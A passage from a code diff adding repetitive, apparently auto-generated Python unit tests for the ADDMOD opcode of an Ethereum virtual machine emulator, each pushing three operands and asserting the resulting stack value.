+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_643(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_644(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_645(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_646(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_647(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_648(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_649(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [649037107316853453566312041152510L])
+
+    def test_ADDMOD_650(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576255L])
+
+    def test_ADDMOD_651(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576256L])
+
+    def test_ADDMOD_652(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [486777830487640090174734030864367L])
+
+    def test_ADDMOD_653(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [334659758460252561995129646219278L])
+
+    def test_ADDMOD_654(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576271L])
+
+    def test_ADDMOD_655(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576287L])
+
+    def test_ADDMOD_656(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576303L])
+
+    def test_ADDMOD_657(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576255L])
+
+    def test_ADDMOD_658(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576255L])
+
+    def test_ADDMOD_659(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_660(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_661(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288112L])
+
+    def test_ADDMOD_662(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643023L])
+
+    def test_ADDMOD_663(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_664(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_665(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_666(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_667(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576256L])
+
+    def test_ADDMOD_668(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_669(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2L])
+
+    def test_ADDMOD_670(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288113L])
+
+    def test_ADDMOD_671(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643024L])
+
+    def test_ADDMOD_672(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_673(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
